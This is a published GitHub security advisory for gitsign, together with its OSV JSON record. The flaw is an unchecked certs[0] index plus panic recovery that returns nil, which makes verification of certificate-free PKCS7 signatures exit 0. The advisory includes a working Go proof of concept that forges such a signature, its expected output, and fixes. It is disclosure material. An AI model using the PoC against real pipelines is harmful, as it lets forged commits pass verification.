Search criteria

Related vulnerabilities

GHSA-7C37-GX6W-8VC5

Vulnerability from github – Published: 2026-05-08 17:37 – Updated: 2026-05-08 17:37
VLAI?
Summary
gitsign --verify panics on empty-certificate PKCS7 and exits 0, bypassing exit-code callers
Details

Summary

CertVerifier.Verify() in pkg/git/verifier.go unconditionally dereferences certs[0] after sd.GetCertificates() without checking the slice length. A CMS/PKCS7 signed message with an empty certificate set is a structurally valid DER payload; GetCertificates() returns an empty slice with no error, causing an immediate index-out-of-range panic. On the gitsign --verify code path (the GPG-compatible mode invoked by git verify-commit), the panic is silently recovered by internal/io/streams.go's Wrap() function, which returns nil instead of an error. main.go then exits with code 0, causing exit-code-only verification callers to interpret the failed verification as success.

Severity

Medium (CVSS 3.1: 5.8)

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L

  • Attack Vector: Network — attacker pushes a commit carrying a crafted signature to any accessible repository, or delivers the signature file out-of-band
  • Attack Complexity: Low — stripping certificates from a PKCS7 object requires only standard ASN.1 tooling
  • Privileges Required: None — writing to an accessible repo (or creating a repo a victim clones) is sufficient
  • User Interaction: Required — victim must run git verify-commit, gitsign --verify, or an equivalent verification step
  • Scope: Unchanged
  • Confidentiality Impact: None
  • Integrity Impact: Low — exit-code-only callers (scripts, some CI pipelines) treat the panicked verification as success; git's own status-fd path checks for GOODSIG and is therefore partially protected
  • Availability Impact: Low — the verification process aborts via panic on every invocation with such a signature

Affected Component

  • pkg/git/verifier.go(*CertVerifier).Verify (line 114)
  • internal/io/streams.go(*Streams).Wrap (lines 71–84, the recovery that returns nil on panic)

CWE

  • CWE-129: Improper Validation of Array Index
  • CWE-390: Detection of Error Condition Without Action Taken (panic swallowed, nil returned)

Description

Unconditional index dereference after GetCertificates

CertVerifier.Verify() parses the incoming signature as CMS/PKCS7 and calls GetCertificates() to extract the signer's certificate before any signature math takes place:

// pkg/git/verifier.go:109–114
certs, err := sd.GetCertificates()
if err != nil {
    return nil, fmt.Errorf("error getting signature certs: %w", err)
}
cert := certs[0]   // panic: index out of range if certs is empty

GetCertificates() delegates to sd.psd.X509Certificates() (the upstream smimesign/ietf-cms library). RFC 5652 §5.1 marks the certificates field in SignedData as OPTIONAL, and an empty or absent set is a structurally valid CMS message. The library returns (nil, nil) or ([]*, nil) for such a message — an empty slice with no error — so the length check on err is irrelevant:

// internal/fork/ietf-cms/signed_data.go:53–55
func (sd *SignedData) GetCertificates() ([]*x509.Certificate, error) {
    return sd.psd.X509Certificates()   // returns ([], nil) for empty cert set
}

There is no length guard anywhere between GetCertificates() and the certs[0] dereference.

Panic recovery silently returns exit 0

All root-command invocations (including gitsign --verify, which git calls for verify-commit) are wrapped by (*Streams).Wrap:

// internal/commands/root/root.go:69–95
RunE: func(cmd *cobra.Command, args []string) error {
    s := io.New(o.Config.LogPath)
    defer s.Close()
    return s.Wrap(func() error {     // panic recovery is here
        ...
        case o.FlagVerify:
            return commandVerify(o, s, args...)
        ...
    })
},

Wrap uses a bare recover() inside a defer:

// internal/io/streams.go:71–84
func (s *Streams) Wrap(fn func() error) error {
    defer func() {
        if r := recover(); r != nil {
            fmt.Fprintln(s.TTYOut, r, string(debug.Stack()))
            // ← no named return, no assignment; Wrap returns nil
        }
    }()
    if err := fn(); err != nil {
        fmt.Fprintln(s.TTYOut, err)
        return err
    }
    return nil
}

In Go, a recover() in a defer does not modify the enclosing function's return value unless named returns are used. When fn() panics, the defer fires, prints the panic message and stack trace to TTYOut, and then Wrap returns the zero value for error — which is nil.

main.go then sees nil from rootCmd.Execute() and exits 0:

// main.go:37–39
if err := rootCmd.Execute(); err != nil {
    os.Exit(1)   // NOT reached
}
// process falls through → exit 0

GPG status-fd provides partial protection for git verify-commit

git verify-commit passes --status-fd=1 to gitsign. The GPG status protocol requires GOODSIG in the status output for git to treat the signature as valid. In commandVerify, EmitGoodSig is only called after v.Verify() succeeds:

// internal/commands/root/verify.go:49–90
gpgout.Emit(gpg.StatusNewSig)          // written before verification

summary, err := v.Verify(ctx, data, sig, true)  // PANIC here
// lines below never reached:
gpgout.EmitGoodSig(summary.Cert)
gpgout.EmitTrustFully()

Because the panic fires inside v.Verify(), only NEWSIG (not GOODSIG) is written to the status-fd. Modern git reads this output and still considers the commit unverified. However, scripts and CI tools that check only the exit code of gitsign --verify see exit 0 and consider verification successful.

Execution chain to impact

  1. Attacker strips all certificates from a valid gitsign PKCS7 signature using sd.SetCertificates([]*x509.Certificate{}) and re-serializes the message.
  2. Attacker attaches this certificate-free signature as the gpgsig field of a commit and pushes it to an accessible repository (or delivers the .pem file directly).
  3. Victim runs gitsign --verify <sig> <data> or git verify-commit <commit> (which internally invokes gitsign --verify).
  4. CertVerifier.Verify() panics at certs[0] with index out of range [0] with length 0.
  5. Wrap() recovers the panic and returns nil; process exits 0.
  6. Any caller that checks only the exit code considers verification successful.

Proof of Concept

// make_bad_sig.go — run from repo root: go run ./make_bad_sig.go
// Then: go run main.go --verify /tmp/gitsign-badsig.pem /tmp/gitsign-data.bin; echo "exit: $?"
package main

import (
    "crypto/x509"
    "encoding/pem"
    "fmt"
    "io"
    "os"

    "github.com/go-git/go-git/v5/plumbing"
    "github.com/go-git/go-git/v5/plumbing/object"
    "github.com/go-git/go-git/v5/storage/memory"
    cms "github.com/sigstore/gitsign/internal/fork/ietf-cms"
)

func main() {
    raw, err := os.ReadFile("internal/e2e/testdata/offline.commit")
    if err != nil {
        panic(err)
    }

    st := memory.NewStorage()
    obj := st.NewEncodedObject()
    obj.SetType(plumbing.CommitObject)
    w, _ := obj.Writer()
    _, _ = w.Write(raw)
    _ = w.Close()

    c, err := object.DecodeCommit(st, obj)
    if err != nil {
        panic(err)
    }

    blk, _ := pem.Decode([]byte(c.PGPSignature))
    if blk == nil {
        panic("no pem block in commit signature")
    }

    sd, err := cms.ParseSignedData(blk.Bytes)
    if err != nil {
        panic(err)
    }

    // Strip all certificates from the SignedData
    if err := sd.SetCertificates([]*x509.Certificate{}); err != nil {
        panic(err)
    }

    der, err := sd.ToDER()
    if err != nil {
        panic(err)
    }

    badSig := pem.EncodeToMemory(&pem.Block{Type: "SIGNED MESSAGE", Bytes: der})

    mo := new(plumbing.MemoryObject)
    _ = c.EncodeWithoutSignature(mo)
    r, _ := mo.Reader()
    data, _ := io.ReadAll(r)

    _ = os.WriteFile("/tmp/gitsign-badsig.pem", badSig, 0644)
    _ = os.WriteFile("/tmp/gitsign-data.bin", data, 0644)
    fmt.Println("Wrote /tmp/gitsign-badsig.pem and /tmp/gitsign-data.bin")
}

Expected output after go run main.go --verify /tmp/gitsign-badsig.pem /tmp/gitsign-data.bin; echo "exit: $?":

runtime error: index out of range [0] with length 0
goroutine 1 [running]:
runtime/debug.Stack(...)
...
github.com/sigstore/gitsign/pkg/git.(*CertVerifier).Verify(...)
    pkg/git/verifier.go:114 +0x...
...
exit: 0        ← process exits 0 despite verification failure

Impact

  • Authentication bypass for exit-code callers: Any script or CI pipeline running gitsign --verify and checking only $? will treat the panicked verification as a success (exit 0). This allows an attacker to make a commit appear verified without a valid signature.
  • Denial of service: Every verification attempt against a crafted signature panics, preventing legitimate verification output from being produced.
  • Misleading output: The panic stack trace is written to TTYOut (stderr in non-TTY environments), which may be silently discarded by callers that redirect stderr.
  • Partial bypass of git verify-commit: git itself is protected by the GOODSIG check on the status-fd; however, the exit-code bypass affects auxiliary tooling that wraps gitsign --verify directly.

Recommended Remediation

Option 1: Guard the slice access (preferred — lowest layer, protects all callers)

Add an explicit length check in CertVerifier.Verify() immediately after GetCertificates():

// pkg/git/verifier.go — replace lines 110–114
certs, err := sd.GetCertificates()
if err != nil {
    return nil, fmt.Errorf("error getting signature certs: %w", err)
}
if len(certs) == 0 {
    return nil, fmt.Errorf("no certificates found in signature")
}
cert := certs[0]

This produces a clean error at the source instead of a panic, propagated through commandVerify as a non-nil return, so Wrap returns it, Execute() returns it, and main.go exits 1.

Option 2: Return an error instead of nil on panic recovery

Fix Wrap() to return an error when it recovers a panic, so that all callers reliably see a non-zero exit code:

// internal/io/streams.go — replace Wrap with named return
func (s *Streams) Wrap(fn func() error) (retErr error) {
    defer func() {
        if r := recover(); r != nil {
            fmt.Fprintln(s.TTYOut, r, string(debug.Stack()))
            retErr = fmt.Errorf("panic: %v", r)   // propagate as error
        }
    }()
    if err := fn(); err != nil {
        fmt.Fprintln(s.TTYOut, err)
        return err
    }
    return nil
}

This is a defense-in-depth fix. It ensures that any future panic in a command results in exit 1 rather than 0. Option 1 should be applied regardless; Option 2 prevents similar bypass bugs from any other panic source.

Credit

This vulnerability was discovered and reported by bugbunny.ai.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/sigstore/gitsign"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.4.0"
            },
            {
              "fixed": "0.15.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44310"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-129",
      "CWE-390"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-08T17:37:45Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\n`CertVerifier.Verify()` in `pkg/git/verifier.go` unconditionally dereferences `certs[0]` after `sd.GetCertificates()` without checking the slice length. A CMS/PKCS7 signed message with an empty certificate set is a structurally valid DER payload; `GetCertificates()` returns an empty slice with no error, causing an immediate index-out-of-range panic. On the `gitsign --verify` code path (the GPG-compatible mode invoked by `git verify-commit`), the panic is silently recovered by `internal/io/streams.go`\u0027s `Wrap()` function, which returns `nil` instead of an error. `main.go` then exits with code 0, causing exit-code-only verification callers to interpret the failed verification as success.\n\n## Severity\n\n**Medium** (CVSS 3.1: 5.8)\n\n`CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L`\n\n- **Attack Vector:** Network \u2014 attacker pushes a commit carrying a crafted signature to any accessible repository, or delivers the signature file out-of-band\n- **Attack Complexity:** Low \u2014 stripping certificates from a PKCS7 object requires only standard ASN.1 tooling\n- **Privileges Required:** None \u2014 writing to an accessible repo (or creating a repo a victim clones) is sufficient\n- **User Interaction:** Required \u2014 victim must run `git verify-commit`, `gitsign --verify`, or an equivalent verification step\n- **Scope:** Unchanged\n- **Confidentiality Impact:** None\n- **Integrity Impact:** Low \u2014 exit-code-only callers (scripts, some CI pipelines) treat the panicked verification as success; git\u0027s own status-fd path checks for `GOODSIG` and is therefore partially protected\n- **Availability Impact:** Low \u2014 the verification process aborts via panic on every invocation with such a signature\n\n## Affected Component\n\n- `pkg/git/verifier.go` \u2014 `(*CertVerifier).Verify` (line 114)\n- `internal/io/streams.go` \u2014 `(*Streams).Wrap` (lines 71\u201384, the recovery that returns nil on panic)\n\n## CWE\n\n- **CWE-129**: Improper Validation of Array Index\n- **CWE-390**: Detection of Error Condition Without Action Taken (panic swallowed, nil returned)\n\n## Description\n\n### Unconditional index dereference after GetCertificates\n\n`CertVerifier.Verify()` parses the incoming signature as CMS/PKCS7 and calls `GetCertificates()` to extract the signer\u0027s certificate before any signature math takes place:\n\n```go\n// pkg/git/verifier.go:109\u2013114\ncerts, err := sd.GetCertificates()\nif err != nil {\n    return nil, fmt.Errorf(\"error getting signature certs: %w\", err)\n}\ncert := certs[0]   // panic: index out of range if certs is empty\n```\n\n`GetCertificates()` delegates to `sd.psd.X509Certificates()` (the upstream `smimesign/ietf-cms` library). RFC 5652 \u00a75.1 marks the `certificates` field in `SignedData` as `OPTIONAL`, and an empty or absent set is a structurally valid CMS message. The library returns `(nil, nil)` or `([]*, nil)` for such a message \u2014 an empty slice with no error \u2014 so the length check on `err` is irrelevant:\n\n```go\n// internal/fork/ietf-cms/signed_data.go:53\u201355\nfunc (sd *SignedData) GetCertificates() ([]*x509.Certificate, error) {\n    return sd.psd.X509Certificates()   // returns ([], nil) for empty cert set\n}\n```\n\nThere is no length guard anywhere between `GetCertificates()` and the `certs[0]` dereference.\n\n### Panic recovery silently returns exit 0\n\nAll root-command invocations (including `gitsign --verify`, which git calls for `verify-commit`) are wrapped by `(*Streams).Wrap`:\n\n```go\n// internal/commands/root/root.go:69\u201395\nRunE: func(cmd *cobra.Command, args []string) error {\n    s := io.New(o.Config.LogPath)\n    defer s.Close()\n    return s.Wrap(func() error {     // panic recovery is here\n        ...\n        case o.FlagVerify:\n            return commandVerify(o, s, args...)\n        ...\n    })\n},\n```\n\n`Wrap` uses a bare `recover()` inside a `defer`:\n\n```go\n// internal/io/streams.go:71\u201384\nfunc (s *Streams) Wrap(fn func() error) error {\n    defer func() {\n        if r := recover(); r != nil {\n            fmt.Fprintln(s.TTYOut, r, string(debug.Stack()))\n            // \u2190 no named return, no assignment; Wrap returns nil\n        }\n    }()\n    if err := fn(); err != nil {\n        fmt.Fprintln(s.TTYOut, err)\n        return err\n    }\n    return nil\n}\n```\n\nIn Go, a `recover()` in a `defer` does not modify the enclosing function\u0027s return value unless named returns are used. When `fn()` panics, the `defer` fires, prints the panic message and stack trace to TTYOut, and then `Wrap` returns the zero value for `error` \u2014 which is `nil`.\n\n`main.go` then sees nil from `rootCmd.Execute()` and exits 0:\n\n```go\n// main.go:37\u201339\nif err := rootCmd.Execute(); err != nil {\n    os.Exit(1)   // NOT reached\n}\n// process falls through \u2192 exit 0\n```\n\n### GPG status-fd provides partial protection for git verify-commit\n\n`git verify-commit` passes `--status-fd=1` to gitsign. The GPG status protocol requires `GOODSIG` in the status output for git to treat the signature as valid. In `commandVerify`, `EmitGoodSig` is only called after `v.Verify()` succeeds:\n\n```go\n// internal/commands/root/verify.go:49\u201390\ngpgout.Emit(gpg.StatusNewSig)          // written before verification\n\nsummary, err := v.Verify(ctx, data, sig, true)  // PANIC here\n// lines below never reached:\ngpgout.EmitGoodSig(summary.Cert)\ngpgout.EmitTrustFully()\n```\n\nBecause the panic fires inside `v.Verify()`, only `NEWSIG` (not `GOODSIG`) is written to the status-fd. Modern git reads this output and still considers the commit unverified. However, scripts and CI tools that check only the exit code of `gitsign --verify` see exit 0 and consider verification successful.\n\n### Execution chain to impact\n\n1. Attacker strips all certificates from a valid gitsign PKCS7 signature using `sd.SetCertificates([]*x509.Certificate{})` and re-serializes the message.\n2. Attacker attaches this certificate-free signature as the `gpgsig` field of a commit and pushes it to an accessible repository (or delivers the `.pem` file directly).\n3. Victim runs `gitsign --verify \u003csig\u003e \u003cdata\u003e` or `git verify-commit \u003ccommit\u003e` (which internally invokes `gitsign --verify`).\n4. `CertVerifier.Verify()` panics at `certs[0]` with `index out of range [0] with length 0`.\n5. `Wrap()` recovers the panic and returns nil; process exits 0.\n6. Any caller that checks only the exit code considers verification successful.\n\n## Proof of Concept\n\n```go\n// make_bad_sig.go \u2014 run from repo root: go run ./make_bad_sig.go\n// Then: go run main.go --verify /tmp/gitsign-badsig.pem /tmp/gitsign-data.bin; echo \"exit: $?\"\npackage main\n\nimport (\n\t\"crypto/x509\"\n\t\"encoding/pem\"\n\t\"fmt\"\n\t\"io\"\n\t\"os\"\n\n\t\"github.com/go-git/go-git/v5/plumbing\"\n\t\"github.com/go-git/go-git/v5/plumbing/object\"\n\t\"github.com/go-git/go-git/v5/storage/memory\"\n\tcms \"github.com/sigstore/gitsign/internal/fork/ietf-cms\"\n)\n\nfunc main() {\n\traw, err := os.ReadFile(\"internal/e2e/testdata/offline.commit\")\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tst := memory.NewStorage()\n\tobj := st.NewEncodedObject()\n\tobj.SetType(plumbing.CommitObject)\n\tw, _ := obj.Writer()\n\t_, _ = w.Write(raw)\n\t_ = w.Close()\n\n\tc, err := object.DecodeCommit(st, obj)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tblk, _ := pem.Decode([]byte(c.PGPSignature))\n\tif blk == nil {\n\t\tpanic(\"no pem block in commit signature\")\n\t}\n\n\tsd, err := cms.ParseSignedData(blk.Bytes)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\t// Strip all certificates from the SignedData\n\tif err := sd.SetCertificates([]*x509.Certificate{}); err != nil {\n\t\tpanic(err)\n\t}\n\n\tder, err := sd.ToDER()\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tbadSig := pem.EncodeToMemory(\u0026pem.Block{Type: \"SIGNED MESSAGE\", Bytes: der})\n\n\tmo := new(plumbing.MemoryObject)\n\t_ = c.EncodeWithoutSignature(mo)\n\tr, _ := mo.Reader()\n\tdata, _ := io.ReadAll(r)\n\n\t_ = os.WriteFile(\"/tmp/gitsign-badsig.pem\", badSig, 0644)\n\t_ = os.WriteFile(\"/tmp/gitsign-data.bin\", data, 0644)\n\tfmt.Println(\"Wrote /tmp/gitsign-badsig.pem and /tmp/gitsign-data.bin\")\n}\n```\n\n**Expected output after `go run main.go --verify /tmp/gitsign-badsig.pem /tmp/gitsign-data.bin; echo \"exit: $?\"`:**\n\n```\nruntime error: index out of range [0] with length 0\ngoroutine 1 [running]:\nruntime/debug.Stack(...)\n...\ngithub.com/sigstore/gitsign/pkg/git.(*CertVerifier).Verify(...)\n    pkg/git/verifier.go:114 +0x...\n...\nexit: 0        \u2190 process exits 0 despite verification failure\n```\n\n## Impact\n\n- **Authentication bypass for exit-code callers**: Any script or CI pipeline running `gitsign --verify` and checking only `$?` will treat the panicked verification as a success (exit 0). This allows an attacker to make a commit appear verified without a valid signature.\n- **Denial of service**: Every verification attempt against a crafted signature panics, preventing legitimate verification output from being produced.\n- **Misleading output**: The panic stack trace is written to TTYOut (stderr in non-TTY environments), which may be silently discarded by callers that redirect stderr.\n- **Partial bypass of git verify-commit**: git itself is protected by the `GOODSIG` check on the status-fd; however, the exit-code bypass affects auxiliary tooling that wraps `gitsign --verify` directly.\n\n## Recommended Remediation\n\n### Option 1: Guard the slice access (preferred \u2014 lowest layer, protects all callers)\n\nAdd an explicit length check in `CertVerifier.Verify()` immediately after `GetCertificates()`:\n\n```go\n// pkg/git/verifier.go \u2014 replace lines 110\u2013114\ncerts, err := sd.GetCertificates()\nif err != nil {\n    return nil, fmt.Errorf(\"error getting signature certs: %w\", err)\n}\nif len(certs) == 0 {\n    return nil, fmt.Errorf(\"no certificates found in signature\")\n}\ncert := certs[0]\n```\n\nThis produces a clean error at the source instead of a panic, propagated through `commandVerify` as a non-nil return, so `Wrap` returns it, `Execute()` returns it, and `main.go` exits 1.\n\n### Option 2: Return an error instead of nil on panic recovery\n\nFix `Wrap()` to return an error when it recovers a panic, so that all callers reliably see a non-zero exit code:\n\n```go\n// internal/io/streams.go \u2014 replace Wrap with named return\nfunc (s *Streams) Wrap(fn func() error) (retErr error) {\n    defer func() {\n        if r := recover(); r != nil {\n            fmt.Fprintln(s.TTYOut, r, string(debug.Stack()))\n            retErr = fmt.Errorf(\"panic: %v\", r)   // propagate as error\n        }\n    }()\n    if err := fn(); err != nil {\n        fmt.Fprintln(s.TTYOut, err)\n        return err\n    }\n    return nil\n}\n```\n\nThis is a defense-in-depth fix. It ensures that any future panic in a command results in exit 1 rather than 0. Option 1 should be applied regardless; Option 2 prevents similar bypass bugs from any other panic source.\n\n## Credit\n\nThis vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).",
  "id": "GHSA-7c37-gx6w-8vc5",
  "modified": "2026-05-08T17:37:45Z",
  "published": "2026-05-08T17:37:45Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/sigstore/gitsign/security/advisories/GHSA-7c37-gx6w-8vc5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/sigstore/gitsign"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "gitsign --verify panics on empty-certificate PKCS7 and exits 0, bypassing exit-code callers"
}